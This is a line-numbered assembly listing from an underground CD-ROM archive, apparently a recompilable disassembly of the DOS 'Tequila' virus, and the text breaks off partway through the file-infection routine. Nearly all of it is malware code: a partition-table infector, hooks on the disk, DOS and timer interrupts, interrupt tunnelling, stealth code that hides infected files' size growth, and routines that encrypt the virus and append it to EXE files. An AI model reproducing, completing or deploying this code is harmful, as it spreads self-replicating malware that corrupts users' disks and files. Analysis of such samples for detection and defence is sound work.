home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tequila.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  23.0 KB  |  1,089 lines

  1.                    ;=============================
  2.  
  3.                    ;      the tequila virus     =
  4.  
  5.                    ;        a recompilable      =
  6.  
  7.                    ;         dis-assembly       =
  8.  
  9.                    ;    specifically designed   =
  10.  
  11.                    ; for assembly to a COM file =
  12.  
  13.                    ;  with the A86 assembler.   =
  14.  
  15.                    ;     ++++++++++++++++++     =
  16.  
  17.                    ; If you desire a "perfect"  =
  18.  
  19.                    ; byte for byte source code  =
  20.  
  21.                    ;match-up, the MASM assembler=
  22.  
  23.                    ; must be used and the noted =
  24.  
  25.                    ;instructions must be changed=
  26.  
  27.                    ; to comply with MASM syntax.=
  28.  
  29.                    ; In addition, all byte and  =
  30.  
  31.                    ;word pointer references must=
  32.  
  33.                    ; be changed from B and W to =
  34.  
  35.                    ;   BYTE POINTER and WORD    =
  36.  
  37.                    ;          POINTER.          =
  38.  
  39.                    ;=============================
  40.  
  41.  
  42.  
  43.  
  44.  
  45. CODE_SEG   SEGMENT
  46.  
  47. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  48.  
  49. ORG 0100
  50.  
  51. TEQUILA PROC NEAR
  52.  
  53.  
  54.  
  55. JMP START
  56.  
  57.  
  58.  
  59.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  60.  
  61.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  62.  
  63.  
  64.  
  65.   DB 00DH, 00AH, 00DH, 00AH
  66.  
  67.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  68.  
  69.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  70.  
  71.   DB "Switzerland.", 00DH, 00AH
  72.  
  73.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  74.  
  75.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  76.  
  77.   DB "$"
  78.  
  79.  
  80.  
  81.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  82.  
  83.  
  84.  
  85.  
  86.  
  87. PROGRAM_TERMINATION_ROUTINE:
  88.  
  89.    PUSH BP
  90.  
  91.    MOV BP,SP
  92.  
  93.    SUB SP,0CH
  94.  
  95.    PUSH AX
  96.  
  97.    PUSH BX
  98.  
  99.    PUSH CX
  100.  
  101.    PUSH DX
  102.  
  103.    PUSH SI
  104.  
  105.    PUSH DI
  106.  
  107.    PUSH ES
  108.  
  109.    PUSH DS
  110.  
  111.    PUSH CS
  112.  
  113.    POP DS
  114.  
  115.    MOV AX,W[6]
  116.  
  117.    INC AX
  118.  
  119.    JE 0243H           ;Masm Mod. Needed
  120.  
  121.    DEC AX
  122.  
  123.    JNE 020DH           ;Masm Mod. Needed
  124.  
  125.    DEC W[8]           ;Masm Mod. Needed
  126.  
  127.    JNE 0243H           ;Masm Mod. Needed
  128.  
  129.    JMP 0246H           ;Masm Mod. Needed
  130.  
  131.    MOV AH,02AH
  132.  
  133.    CALL INT_21
  134.  
  135.    MOV SI,CX
  136.  
  137.    MOV CX,W[8]
  138.  
  139.    CMP CL,DL
  140.  
  141.    JNE 022FH           ;Masm Mod. Needed
  142.  
  143.    MOV AX,SI
  144.  
  145.    SUB AX,W[6]
  146.  
  147.    MUL B[011H]           ;Masm Mod. Needed
  148.  
  149.    ADD AL,DH
  150.  
  151.    ADD CH,3
  152.  
  153.    CMP AL,CH
  154.  
  155.    JAE 0237H           ;Masm Mod. Needed
  156.  
  157.    MOV W[6],0FFFFH           ;Masm Mod. Needed
  158.  
  159.    JMP 0243H           ;Masm Mod. Needed
  160.  
  161.    MOV W[6],0           ;Masm Mod. Needed
  162.  
  163.    MOV W[8],3           ;Masm Mod. Needed
  164.  
  165.    JMP 02DF           ;Masm Mod. Needed
  166.  
  167.    MOV BX,0B800H
  168.  
  169.    INT 011
  170.  
  171.    AND AX,030H
  172.  
  173.    CMP AX,030H
  174.  
  175.    JNE 0256H           ;Masm Mod. Needed
  176.  
  177.    MOV BX,0B000H
  178.  
  179.    MOV ES,BX
  180.  
  181.    XOR BX,BX
  182.  
  183.    MOV DI,0FD8FH
  184.  
  185.    MOV SI,0FC18H
  186.  
  187.    MOV W[BP-2],SI
  188.  
  189.    MOV W[BP-4],DI
  190.  
  191.    MOV CX,01E
  192.  
  193.    MOV AX,W[BP-2]
  194.  
  195.    IMUL AX
  196.  
  197.    MOV W[BP-8],AX
  198.  
  199.    MOV W[BP-6],DX
  200.  
  201.    MOV AX,W[BP-4]
  202.  
  203.    IMUL AX
  204.  
  205.    MOV W[BP-0C],AX
  206.  
  207.    MOV W[BP-0A],DX
  208.  
  209.    ADD AX,W[BP-8]
  210.  
  211.    ADC DX,W[BP-6]
  212.  
  213.    CMP DX,0F
  214.  
  215.    JAE 02B0           ;Masm Mod. Needed
  216.  
  217.    MOV AX,W[BP-2]
  218.  
  219.    IMUL W[BP-4]
  220.  
  221.    IDIV W[0F]           ;Masm Mod. Needed
  222.  
  223.    ADD AX,DI
  224.  
  225.    MOV W[BP-4],AX
  226.  
  227.    MOV AX,W[BP-8]
  228.  
  229.    MOV DX,W[BP-6]
  230.  
  231.    SUB AX,W[BP-0C]
  232.  
  233.    SBB DX,W[BP-0A]
  234.  
  235.    IDIV W[0D]           ;Masm Mod. Needed
  236.  
  237.    ADD AX,SI
  238.  
  239.    MOV W[BP-2],AX
  240.  
  241.    LOOP 0269           ;Masm Mod. Needed
  242.  
  243.    INC CX
  244.  
  245.    SHR CL,1
  246.  
  247.    MOV CH,CL
  248.  
  249.    MOV CL,0DB
  250.  
  251.    ES MOV W[BX],CX           ;Masm Mod. Needed
  252.  
  253.    INC BX
  254.  
  255.    INC BX
  256.  
  257.    ADD SI,012
  258.  
  259.    CMP SI,01B8
  260.  
  261.    JL 0260           ;Masm Mod. Needed
  262.  
  263.    ADD DI,034
  264.  
  265.    CMP DI,02A3
  266.  
  267.    JL 025D           ;Masm Mod. Needed
  268.  
  269.    XOR DI,DI
  270.  
  271.    MOV SI,0BB
  272.  
  273.    MOV CX,02D
  274.  
  275.    CLD
  276.  
  277.    MOVSB
  278.  
  279.    INC DI
  280.  
  281.    LOOP 02D7           ;Masm Mod. Needed
  282.  
  283.    XOR AX,AX
  284.  
  285.    INT 016
  286.  
  287.    POP DS
  288.  
  289.    POP ES
  290.  
  291.    POP DI
  292.  
  293.    POP SI
  294.  
  295.    POP DX
  296.  
  297.    POP CX
  298.  
  299.    POP BX
  300.  
  301.    POP AX
  302.  
  303.    MOV SP,BP
  304.  
  305.    POP BP
  306.  
  307.    RET
  308.  
  309.  
  310.  
  311. PRINT_MESSAGE:
  312.  
  313.    PUSH DX
  314.  
  315.    PUSH DS
  316.  
  317.    PUSH CS
  318.  
  319.    POP DS
  320.  
  321.    MOV AH,9
  322.  
  323.    MOV DX,012
  324.  
  325.    CALL INT_21
  326.  
  327.    POP DS
  328.  
  329.    POP DX
  330.  
  331.    RET
  332.  
  333.  
  334.  
  335. NEW_PARTITION_TABLE:
  336.  
  337.    CLI
  338.  
  339.    XOR BX,BX
  340.  
  341.    MOV DS,BX
  342.  
  343.    MOV SS,BX
  344.  
  345.    MOV SP,07C00
  346.  
  347.    STI
  348.  
  349.    XOR DI,DI
  350.  
  351.    SUB W[0413],3           ;Masm Mod. Needed
  352.  
  353.    INT 012
  354.  
  355.    MOV CL,6
  356.  
  357.    SHL AX,CL
  358.  
  359.    MOV ES,AX
  360.  
  361.    PUSH ES
  362.  
  363.    MOV AX,022A
  364.  
  365.    PUSH AX
  366.  
  367.    MOV AX,0205
  368.  
  369.    MOV CX,W[07C30]
  370.  
  371.    INC CX
  372.  
  373.    MOV DX,W[07C32]
  374.  
  375.    INT 013
  376.  
  377.    RETF
  378.  
  379.  
  380.  
  381. DB 002, 0FE                      
  382.  
  383. DB 04C, 0E9 
  384.  
  385. DB 080, 004                
  386.  
  387.  
  388.  
  389.    PUSH CS
  390.  
  391.    POP DS
  392.  
  393.    XOR AX,AX
  394.  
  395.    MOV ES,AX
  396.  
  397.    MOV BX,07C00
  398.  
  399.    PUSH ES
  400.  
  401.    PUSH BX
  402.  
  403.    MOV AX,0201
  404.  
  405.    MOV CX,W[0226]
  406.  
  407.    MOV DX,W[0228]
  408.  
  409.    INT 013
  410.  
  411.    PUSH CS
  412.  
  413.    POP ES
  414.  
  415.    CLD
  416.  
  417.    MOV SI,0409
  418.  
  419.    MOV DI,09BE
  420.  
  421.    MOV CX,046
  422.  
  423.    REP MOVSB
  424.  
  425.    MOV SI,091B
  426.  
  427.    MOV DI,0A04
  428.  
  429.    MOV CX,045
  430.  
  431.    REP MOVSB
  432.  
  433.    CLI
  434.  
  435.    XOR AX,AX
  436.  
  437.    MOV ES,AX
  438.  
  439.    ES LES BX,[070]           ;Masm Mod. Needed
  440.  
  441.    MOV W[09B0],BX           ;Masm Mod. Needed
  442.  
  443.    MOV W[09B2],ES           ;Masm Mod. Needed
  444.  
  445.    MOV ES,AX
  446.  
  447.    ES LES BX,[084]           ;Masm Mod. Needed
  448.  
  449.    MOV W[09B4],BX           ;Masm Mod. Needed
  450.  
  451.    MOV W[09B6],ES           ;Masm Mod. Needed
  452.  
  453.    MOV ES,AX
  454.  
  455.    ES MOV W[070],044F           ;Masm Mod. Needed
  456.  
  457.    ES MOV W[072],DS           ;Masm Mod. Needed
  458.  
  459.    STI
  460.  
  461.    RETF
  462.  
  463.  
  464.  
  465. INSTALL:
  466.  
  467.    CALL NEXT_LINE
  468.  
  469.  NEXT_LINE:
  470.  
  471.    POP SI
  472.  
  473.    SUB SI,028F
  474.  
  475.    PUSH SI
  476.  
  477.    PUSH AX
  478.  
  479.    PUSH ES
  480.  
  481.    PUSH CS
  482.  
  483.    POP DS
  484.  
  485.    MOV AX,ES
  486.  
  487.    ADD W[SI+2],AX
  488.  
  489.    ADD W[SI+4],AX
  490.  
  491.    DEC AX
  492.  
  493.    MOV ES,AX
  494.  
  495.    MOV AX,0FE02
  496.  
  497.    INT 021
  498.  
  499.    CMP AX,01FD
  500.  
  501.    JE NO_PARTITION_INFECTION
  502.  
  503.    ES CMP B[0],05A           ;Masm Mod. Needed
  504.  
  505.    JNE NO_PARTITION_INFECTION
  506.  
  507.    ES CMP W[3],0BB           ;Masm Mod. Needed
  508.  
  509.    JBE NO_PARTITION_INFECTION
  510.  
  511.    ES MOV AX,W[012]           ;Masm Mod. Needed
  512.  
  513.    SUB AX,0BB
  514.  
  515.    MOV ES,AX
  516.  
  517.    XOR DI,DI
  518.  
  519.    MOV CX,09A4
  520.  
  521.    CLD
  522.  
  523.    REP MOVSB
  524.  
  525.    PUSH ES
  526.  
  527.    POP DS
  528.  
  529.    CALL INFECT_PARTITION_TABLE
  530.  
  531.  NO_PARTITION_INFECTION:
  532.  
  533.    POP ES
  534.  
  535.    POP AX
  536.  
  537.    PUSH ES
  538.  
  539.    POP DS
  540.  
  541.    POP SI
  542.  
  543.    CS MOV SS,W[SI+4]           ;Masm Mod. Needed
  544.  
  545.  CHAIN_TO_THE_HOST_FILE:
  546.  
  547.    CS JMP D[SI]           ;Masm Mod. Needed
  548.  
  549.  
  550.  
  551. INFECT_PARTITION_TABLE:
  552.  
  553.    MOV AH,02A
  554.  
  555.    INT 021
  556.  
  557.    MOV W[6],CX           ;Masm Mod. Needed
  558.  
  559.    MOV W[8],DX           ;Masm Mod. Needed
  560.  
  561.    MOV AH,052
  562.  
  563.    INT 021
  564.  
  565.    ES MOV AX,W[BX-2]           ;Masm Mod. Needed
  566.  
  567.    MOV W[03E8],AX           ;Masm Mod. Needed
  568.  
  569.    MOV AX,03513
  570.  
  571.    INT 021
  572.  
  573.    MOV W[09A0],BX           ;Masm Mod. Needed
  574.  
  575.    MOV W[09A2],ES           ;Masm Mod. Needed
  576.  
  577.    MOV AX,03501
  578.  
  579.    INT 021
  580.  
  581.    MOV SI,BX
  582.  
  583.    MOV DI,ES
  584.  
  585.    MOV AX,02501
  586.  
  587.    MOV DX,03DA
  588.  
  589.    INT 021
  590.  
  591.    MOV B[0A],0           ;Masm Mod. Needed
  592.  
  593.    PUSHF
  594.  
  595.    POP AX
  596.  
  597.    OR AX,0100
  598.  
  599.    PUSH AX
  600.  
  601.    POPF
  602.  
  603.    MOV AX,0201
  604.  
  605.    MOV BX,09A4
  606.  
  607.    MOV CX,1
  608.  
  609.    MOV DX,080
  610.  
  611.    PUSH DS
  612.  
  613.    POP ES
  614.  
  615.    PUSHF
  616.  
  617.    CALL D[09A0]           ;Masm Mod. Needed
  618.  
  619.    PUSHF
  620.  
  621.    POP AX
  622.  
  623.    AND AX,0FEFF
  624.  
  625.    PUSH AX
  626.  
  627.    POPF
  628.  
  629.    PUSHF
  630.  
  631.    MOV AX,02501
  632.  
  633.    MOV DX,SI
  634.  
  635.    MOV DS,DI
  636.  
  637.    INT 021
  638.  
  639.    POPF
  640.  
  641.    JAE 0450           ;Masm Mod. Needed
  642.  
  643.    JMP RET           ;Masm Mod. Needed
  644.  
  645.    PUSH ES
  646.  
  647.    POP DS
  648.  
  649.    CMP W[BX+02E],0FE02
  650.  
  651.    JNE 045C           ;Masm Mod. Needed
  652.  
  653.    JMP RET           ;Masm Mod. Needed
  654.  
  655.    ADD BX,01BE
  656.  
  657.    MOV CX,4
  658.  
  659.    MOV AL,B[BX+4]
  660.  
  661.    CMP AL,4
  662.  
  663.    JE 0479           ;Masm Mod. Needed
  664.  
  665.    CMP AL,6
  666.  
  667.    JE 0479           ;Masm Mod. Needed
  668.  
  669.    CMP AL,1
  670.  
  671.    JE 0479           ;Masm Mod. Needed
  672.  
  673.    ADD BX,010
  674.  
  675.    LOOP 0463           ;Masm Mod. Needed
  676.  
  677.    JMP SHORT RET           ;Masm Mod. Needed
  678.  
  679.    MOV DL,080
  680.  
  681.    MOV DH,B[BX+5]
  682.  
  683.    MOV W[0228],DX           ;Masm Mod. Needed
  684.  
  685.    MOV AX,W[BX+6]
  686.  
  687.    MOV CX,AX
  688.  
  689.    MOV SI,6
  690.  
  691.    AND AX,03F
  692.  
  693.    CMP AX,SI
  694.  
  695.    JBE RET           ;Masm Mod. Needed
  696.  
  697.    SUB CX,SI
  698.  
  699.    MOV DI,BX
  700.  
  701.    INC CX
  702.  
  703.    MOV W[0226],CX           ;Masm Mod. Needed
  704.  
  705.    MOV AX,0301
  706.  
  707.    MOV BX,09A4
  708.  
  709.    PUSHF
  710.  
  711.    CALL D[09A0]           ;Masm Mod. Needed
  712.  
  713.    JB RET           ;Masm Mod. Needed
  714.  
  715.    DEC CX
  716.  
  717.    MOV W[DI+6],CX
  718.  
  719.    INC CX
  720.  
  721.    SUB W[DI+0C],SI
  722.  
  723.    SBB W[DI+0E],0
  724.  
  725.    MOV AX,0305
  726.  
  727.    MOV BX,0
  728.  
  729.    INC CX
  730.  
  731.    PUSHF
  732.  
  733.    CALL D[09A0]           ;Masm Mod. Needed
  734.  
  735.    JB RET           ;Masm Mod. Needed
  736.  
  737.    MOV SI,01F6
  738.  
  739.    MOV DI,09A4
  740.  
  741.    MOV CX,034
  742.  
  743.    CLD
  744.  
  745.    REP MOVSB
  746.  
  747.    MOV AX,0301
  748.  
  749.    MOV BX,09A4
  750.  
  751.    MOV CX,1
  752.  
  753.    XOR DH,DH
  754.  
  755.    PUSHF
  756.  
  757.    CALL D[09A0]           ;Masm Mod. Needed
  758.  
  759.    RET
  760.  
  761.  
  762.  
  763. NEW_INTERRUPT_ONE:
  764.  
  765.    PUSH BP
  766.  
  767.    MOV BP,SP
  768.  
  769.    CS CMP B[0A],1           ;Masm Mod. Needed
  770.  
  771.    JE 0506           ;Masm Mod. Needed
  772.  
  773.    CMP W[BP+4],09B4
  774.  
  775.    JA 050B           ;Masm Mod. Needed
  776.  
  777.    PUSH AX
  778.  
  779.    PUSH ES
  780.  
  781.    LES AX,[BP+2]
  782.  
  783.    CS MOV W[09A0],AX           ;Masm Mod. Needed
  784.  
  785.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  786.  
  787.    CS MOV B[0A],1
  788.  
  789.    POP ES
  790.  
  791.    POP AX
  792.  
  793.    AND W[BP+6],0FEFF
  794.  
  795.    POP BP
  796.  
  797.    IRET
  798.  
  799.  
  800.  
  801. NEW_INTERRUPT_13:
  802.  
  803.    CMP CX,1
  804.  
  805.    JNE 054E           ;Masm Mod. Needed
  806.  
  807.    CMP DX,080
  808.  
  809.    JNE 054E           ;Masm Mod. Needed
  810.  
  811.    CMP AH,3
  812.  
  813.    JA 054E           ;Masm Mod. Needed
  814.  
  815.    CMP AH,2
  816.  
  817.    JB 054E           ;Masm Mod. Needed
  818.  
  819.    PUSH CX
  820.  
  821.    PUSH DX
  822.  
  823.    DEC AL
  824.  
  825.    JE 0537           ;Masm Mod. Needed
  826.  
  827.    PUSH AX
  828.  
  829.    PUSH BX
  830.  
  831.    ADD BX,0200
  832.  
  833.    INC CX
  834.  
  835.    PUSHF
  836.  
  837.    CS CALL D[09A0]           ;Masm Mod. Needed
  838.  
  839.    POP BX
  840.  
  841.    POP AX
  842.  
  843.    MOV AL,1
  844.  
  845.    CS MOV CX,W[0226]           ;Masm Mod. Needed
  846.  
  847.    CS MOV DX,W[0228]           ;Masm Mod. Needed
  848.  
  849.    PUSHF
  850.  
  851.    CS CALL D[09A0]           ;Masm Mod. Needed
  852.  
  853.    POP DX
  854.  
  855.    POP CX
  856.  
  857.    RETF 2
  858.  
  859.    CS JMP D[09A0]           ;Masm Mod. Needed
  860.  
  861.  
  862.  
  863. NEW_TIMER_TICK_INTERRUPT:
  864.  
  865.    PUSH AX
  866.  
  867.    PUSH BX
  868.  
  869.    PUSH ES
  870.  
  871.    PUSH DS
  872.  
  873.    XOR AX,AX
  874.  
  875.    MOV ES,AX
  876.  
  877.    PUSH CS
  878.  
  879.    POP DS
  880.  
  881.    ES LES BX,[084]           ;Masm Mod. Needed
  882.  
  883.    MOV AX,ES
  884.  
  885.    CMP AX,0800
  886.  
  887.    JA 05B0           ;Masm Mod. Needed
  888.  
  889.    CMP AX,W[09B6]
  890.  
  891.    JNE 0575           ;Masm Mod. Needed
  892.  
  893.    CMP BX,W[09B4]
  894.  
  895.    JE 05B0           ;Masm Mod. Needed
  896.  
  897.    MOV W[09B4],BX           ;Masm Mod. Needed
  898.  
  899.    MOV W[09B6],ES           ;Masm Mod. Needed
  900.  
  901.    XOR AX,AX
  902.  
  903.    MOV DS,AX
  904.  
  905.    CS LES BX,[09B0]           ;Masm Mod. Needed
  906.  
  907.    MOV W[070],BX           ;Masm Mod. Needed
  908.  
  909.    MOV W[072],ES           ;Masm Mod. Needed
  910.  
  911.    LES BX,[04C]           ;Masm Mod. Needed
  912.  
  913.    CS MOV W[09A0],BX           ;Masm Mod. Needed
  914.  
  915.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  916.  
  917.    MOV W[04C],09BE           ;Masm Mod. Needed
  918.  
  919.    MOV W[04E],CS           ;Masm Mod. Needed
  920.  
  921.    MOV W[084],04B1           ;Masm Mod. Needed
  922.  
  923.    MOV W[086],CS           ;Masm Mod. Needed
  924.  
  925.    POP DS
  926.  
  927.    POP ES
  928.  
  929.    POP BX
  930.  
  931.    POP AX
  932.  
  933.    IRET
  934.  
  935.  
  936.  
  937. INT_21_INTERCEPT:
  938.  
  939.    CMP AH,011
  940.  
  941.    JB CHECK_FOR_HANDLE
  942.  
  943.    CMP AH,012
  944.  
  945.    JA CHECK_FOR_HANDLE
  946.  
  947.    CALL ADJUST_FCB_MATCHES
  948.  
  949.    RETF 2
  950.  
  951.  CHECK_FOR_HANDLE:
  952.  
  953.    CMP AH,04E
  954.  
  955.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  956.  
  957.    CMP AH,04F
  958.  
  959.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  960.  
  961.    CALL ADJUST_HANDLE_MATCHES
  962.  
  963.    RETF 2
  964.  
  965.  CHECK_FOR_PREVIOUS_INSTALLATION:
  966.  
  967.    CMP AX,0FE02
  968.  
  969.    JNE CHECK_FOR_MESSAGE_PRINT
  970.  
  971.    NOT AX
  972.  
  973.    IRET
  974.  
  975.  CHECK_FOR_MESSAGE_PRINT:
  976.  
  977.    CMP AX,0FE03
  978.  
  979.    JNE CHECK_FOR_EXECUTE
  980.  
  981.    CS CMP W[6],0           ;Masm Mod. Needed
  982.  
  983.    JNE CHAIN_TO_TRUE_INT_21
  984.  
  985.    CALL PRINT_MESSAGE
  986.  
  987.    IRET
  988.  
  989.  CHECK_FOR_EXECUTE:
  990.  
  991.    CMP AX,04B00
  992.  
  993.    JE SET_STACK
  994.  
  995.    CMP AH,04C
  996.  
  997.    JNE CHAIN_TO_TRUE_INT_21
  998.  
  999.  SET_STACK:
  1000.  
  1001.    CS MOV W[09A6],SP           ;Masm Mod. Needed
  1002.  
  1003.    CS MOV W[09A8],SS           ;Masm Mod. Needed
  1004.  
  1005.    CLI
  1006.  
  1007.    PUSH CS
  1008.  
  1009.    POP SS
  1010.  
  1011.    MOV SP,0AE5
  1012.  
  1013.    STI
  1014.  
  1015.    CMP AH,04C
  1016.  
  1017.    JNE TO_AN_INFECTION
  1018.  
  1019.    CALL PROGRAM_TERMINATION_ROUTINE
  1020.  
  1021.    JMP SHORT NO_INFECTION
  1022.  
  1023.  TO_AN_INFECTION:
  1024.  
  1025.    CALL INFECT_THE_FILE
  1026.  
  1027.  NO_INFECTION:
  1028.  
  1029.    CLI
  1030.  
  1031.    CS MOV SS,W[09A8]           ;Masm Mod. Needed
  1032.  
  1033.    CS MOV SP,W[09A6]           ;Masm Mod. Needed
  1034.  
  1035.    STI
  1036.  
  1037.    JMP SHORT CHAIN_TO_TRUE_INT_21
  1038.  
  1039.  CHAIN_TO_TRUE_INT_21:
  1040.  
  1041.    CS INC W[09BC]           ;Masm Mod. Needed
  1042.  
  1043.    CS JMP D[09B4]           ;Masm Mod. Needed
  1044.  
  1045.  
  1046.  
  1047. NEW_CRITICAL_ERROR_HANDLER:
  1048.  
  1049.    MOV AL,3
  1050.  
  1051.    IRET
  1052.  
  1053.  
  1054.  
  1055. ADJUST_FCB_MATCHES:
  1056.  
  1057.    PUSH BX
  1058.  
  1059.    PUSH ES
  1060.  
  1061.    PUSH AX
  1062.  
  1063.    MOV AH,02F
  1064.  
  1065.    CALL INT_21
  1066.  
  1067.    POP AX
  1068.  
  1069.    PUSHF
  1070.  
  1071.    CS CALL D[09B4]           ;Masm Mod. Needed
  1072.  
  1073.    PUSHF
  1074.  
  1075.    PUSH AX
  1076.  
  1077.    CMP AL,0FF
  1078.  
  1079.    JE 0664           ;Masm Mod. Needed
  1080.  
  1081.    ES CMP B[BX],0FF           ;Masm Mod. Needed
  1082.  
  1083.    JNE 064F           ;Masm Mod. Needed
  1084.  
  1085.    ADD BX,7
  1086.  
  1087.    ES MOV AL,B[BX+017]           ;Masm Mod. Needed
  1088.  
  1089.    AND AL,01F
  1090.  
  1091.    CMP AL,01F
  1092.  
  1093.    JNE 0664           ;Masm Mod. Needed
  1094.  
  1095.    ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
  1096.  
  1097.    ES SBB W[BX+01F],0           ;Masm Mod. Needed
  1098.  
  1099.    POP AX
  1100.  
  1101.    POPF
  1102.  
  1103.    POP ES
  1104.  
  1105.    POP BX
  1106.  
  1107.    RET
  1108.  
  1109.  
  1110.  
  1111. ADJUST_HANDLE_MATCHES:
  1112.  
  1113.    PUSH BX
  1114.  
  1115.    PUSH ES
  1116.  
  1117.    PUSH AX
  1118.  
  1119.    MOV AH,02F
  1120.  
  1121.    CALL INT_21
  1122.  
  1123.    POP AX
  1124.  
  1125.    PUSHF
  1126.  
  1127.    CS CALL D[09B4]           ;Masm Mod. Needed
  1128.  
  1129.    PUSHF
  1130.  
  1131.    PUSH AX
  1132.  
  1133.    JB 0691           ;Masm Mod. Needed
  1134.  
  1135.    ES MOV AL,B[BX+016]           ;Masm Mod. Needed
  1136.  
  1137.    AND AL,01F
  1138.  
  1139.    CMP AL,01F
  1140.  
  1141.    JNE 0691           ;Masm Mod. Needed
  1142.  
  1143.    ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
  1144.  
  1145.    ES SBB W[BX+01C],0           ;Masm Mod. Needed
  1146.  
  1147.    POP AX
  1148.  
  1149.    POPF
  1150.  
  1151.    POP ES
  1152.  
  1153.    POP BX
  1154.  
  1155.    RET
  1156.  
  1157.  
  1158.  
  1159. WRITE_TO_THE_FILE:
  1160.  
  1161.    MOV AH,040
  1162.  
  1163.    JMP 069C           ;Masm Mod. Needed
  1164.  
  1165.  
  1166.  
  1167. READ_FROM_THE_FILE:
  1168.  
  1169.    MOV AH,03F
  1170.  
  1171.    CALL 06B4           ;Masm Mod. Needed
  1172.  
  1173.    JB RET           ;Masm Mod. Needed
  1174.  
  1175.    SUB AX,CX
  1176.  
  1177.    RET
  1178.  
  1179.  
  1180.  
  1181. MOVE_TO_END_OF_FILE:
  1182.  
  1183.    XOR CX,CX
  1184.  
  1185.    XOR DX,DX
  1186.  
  1187.    MOV AX,04202
  1188.  
  1189.    JMP 06B4           ;Masm Mod. Needed
  1190.  
  1191.  
  1192.  
  1193. MOVE_TO_BEGINNING_OF_FILE:
  1194.  
  1195.    XOR CX,CX
  1196.  
  1197.    XOR DX,DX
  1198.  
  1199.    MOV AX,04200
  1200.  
  1201.    CS MOV BX,W[09A4]           ;Masm Mod. Needed
  1202.  
  1203.  
  1204.  
  1205. INT_21:
  1206.  
  1207.    CLI
  1208.  
  1209.    PUSHF
  1210.  
  1211.    CS CALL D[09B4]           ;Masm Mod. Needed
  1212.  
  1213.    RET
  1214.  
  1215.  
  1216.  
  1217. INFECT_THE_FILE:
  1218.  
  1219.    PUSH AX
  1220.  
  1221.    PUSH BX
  1222.  
  1223.    PUSH CX
  1224.  
  1225.    PUSH DX
  1226.  
  1227.    PUSH SI
  1228.  
  1229.    PUSH DI
  1230.  
  1231.    PUSH ES
  1232.  
  1233.    PUSH DS
  1234.  
  1235.    CALL CHECK_LETTERS_IN_FILENAME
  1236.  
  1237.    JAE GOOD_NAME
  1238.  
  1239.    JMP BAD_NAME
  1240.  
  1241.  
  1242.  
  1243. GOOD_NAME:
  1244.  
  1245.    PUSH DX
  1246.  
  1247.    PUSH DS
  1248.  
  1249.    PUSH CS
  1250.  
  1251.    POP DS
  1252.  
  1253.  
  1254.  
  1255. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  1256.  
  1257.    MOV AX,03524
  1258.  
  1259.    CALL INT_21
  1260.  
  1261.    MOV W[09B8],BX           ;Masm Mod. Needed
  1262.  
  1263.    MOV W[09BA],ES           ;Masm Mod. Needed
  1264.  
  1265.    MOV AX,02524
  1266.  
  1267.    MOV DX,052A
  1268.  
  1269.    CALL INT_21
  1270.  
  1271.    POP DS
  1272.  
  1273.    POP DX
  1274.  
  1275.  
  1276.  
  1277. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  1278.  
  1279.    MOV AX,04300
  1280.  
  1281.    CALL INT_21
  1282.  
  1283.    CS MOV W[09AA],CX           ;Masm Mod. Needed
  1284.  
  1285.    JAE 06FE           ;Masm Mod. Needed
  1286.  
  1287.    JMP RESTORE_CRIT_HANDLER
  1288.  
  1289.    MOV AX,04301
  1290.  
  1291.    XOR CX,CX
  1292.  
  1293.    CALL INT_21
  1294.  
  1295.    JB 077C           ;Masm Mod. Needed
  1296.  
  1297.  
  1298.  
  1299. OPEN_FILE_FOR_READ_WRITE:
  1300.  
  1301.    MOV AX,03D02
  1302.  
  1303.    CALL INT_21
  1304.  
  1305.    JB 0771           ;Masm Mod. Needed
  1306.  
  1307.    PUSH DX
  1308.  
  1309.    PUSH DS
  1310.  
  1311.    PUSH CS
  1312.  
  1313.    POP DS
  1314.  
  1315.    MOV W[09A4],AX           ;Masm Mod. Needed
  1316.  
  1317.  
  1318.  
  1319. GET_FILEDATE:
  1320.  
  1321.    MOV AX,05700
  1322.  
  1323.    CALL 06B4           ;Masm Mod. Needed
  1324.  
  1325.    JB 075C           ;Masm Mod. Needed
  1326.  
  1327.    MOV W[09AC],DX           ;Masm Mod. Needed
  1328.  
  1329.    MOV W[09AE],CX           ;Masm Mod. Needed
  1330.  
  1331.  
  1332.  
  1333. READ_AND_CHECK_EXE_HEADER:
  1334.  
  1335.    CALL 06AD           ;Masm Mod. Needed
  1336.  
  1337.    MOV DX,0A49
  1338.  
  1339.    MOV CX,01C
  1340.  
  1341.    CALL 069A           ;Masm Mod. Needed
  1342.  
  1343.    JB 075C           ;Masm Mod. Needed
  1344.  
  1345.    PUSH DS
  1346.  
  1347.    POP ES
  1348.  
  1349.    MOV DI,0E8
  1350.  
  1351.    MOV CX,020
  1352.  
  1353.    CMP W[0A49],05A4D           ;Masm Mod. Needed
  1354.  
  1355.    JNE 075C           ;Masm Mod. Needed
  1356.  
  1357.    MOV AX,W[0A5B]
  1358.  
  1359.    CLD
  1360.  
  1361.    REPNE SCASW
  1362.  
  1363.    JNE 0754           ;Masm Mod. Needed
  1364.  
  1365.    OR W[09AE],01F           ;Masm Mod. Needed
  1366.  
  1367.    JMP 075C           ;Masm Mod. Needed
  1368.  
  1369.    CALL READ_PAST_END_OF_FILE
  1370.  
  1371.    JB 075C           ;Masm Mod. Needed
  1372.  
  1373.    CALL ENCRYPT_AND_WRITE_TO_FILE
  1374.  
  1375.  
  1376.  
  1377. RESTORE_ALTERED_DATE:
  1378.  
  1379.    MOV AX,05701
  1380.  
  1381.    MOV DX,W[09AC]
  1382.  
  1383.    MOV CX,W[09AE]
